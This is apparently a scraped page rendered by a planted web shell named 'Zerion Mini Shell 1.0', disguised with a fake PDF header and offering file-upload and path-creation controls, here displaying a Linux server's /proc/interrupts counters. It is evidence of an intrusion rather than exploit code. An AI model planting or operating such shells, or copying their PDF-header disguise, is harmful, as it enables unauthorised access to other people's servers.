%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/proc/self/root/proc/
Upload File :
Create Path :
Current File : //proc/self/root/proc/self/root/proc/interrupts

           CPU0       CPU1       CPU2       
  0:        132          0          0   IO-APIC-edge      timer
  1:         10          0          0   IO-APIC-edge      i8042
  6:          3          0          0   IO-APIC-edge      floppy
  8:          0          0          0   IO-APIC-edge      rtc0
  9:          0          0          0   IO-APIC-fasteoi   acpi
 11:         32    5311698          0   IO-APIC-fasteoi   uhci_hcd:usb1, virtio3
 12:         15          0          0   IO-APIC-edge      i8042
 14:          0          0          0   IO-APIC-edge      ata_piix
 15:          0          0          0   IO-APIC-edge      ata_piix
 24:          0          0          0   PCI-MSI-edge      virtio1-config
 25:          0          0          0   PCI-MSI-edge      virtio1-control
 26:          0          0          0   PCI-MSI-edge      virtio1-event
 27:  527328374          0          0   PCI-MSI-edge      virtio1-request
 28:          0          0          0   PCI-MSI-edge      virtio2-config
 29:          5          0        358   PCI-MSI-edge      virtio2-virtqueues
 30:          0          0          0   PCI-MSI-edge      virtio0-config
 31:      26765 1095805397          0   PCI-MSI-edge      virtio0-input.0
 32:          2          0      28692   PCI-MSI-edge      virtio0-output.0
NMI:          0          0          0   Non-maskable interrupts
LOC:  987374981 1696393712 1231723943   Local timer interrupts
SPU:          0          0          0   Spurious interrupts
PMI:          0          0          0   Performance monitoring interrupts
IWI:    1001246   76280656    1034316   IRQ work interrupts
RTR:          0          0          0   APIC ICR read retries
RES:  860580697  596241976  857115263   Rescheduling interrupts
CAL: 4294763946  136889004  129458929   Function call interrupts
TLB:   65585694   56425317   73256630   TLB shootdowns
TRM:          0          0          0   Thermal event interrupts
THR:          0          0          0   Threshold APIC interrupts
DFR:          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0   Machine check exceptions
MCP:     177163     177163     177163   Machine check polls
ERR:          0
MIS:          0
PIN:          0          0          0   Posted-interrupt notification event
NPI:          0          0          0   Nested posted-interrupt event
PIW:          0          0          0   Posted-interrupt wakeup event

Zerion Mini Shell 1.0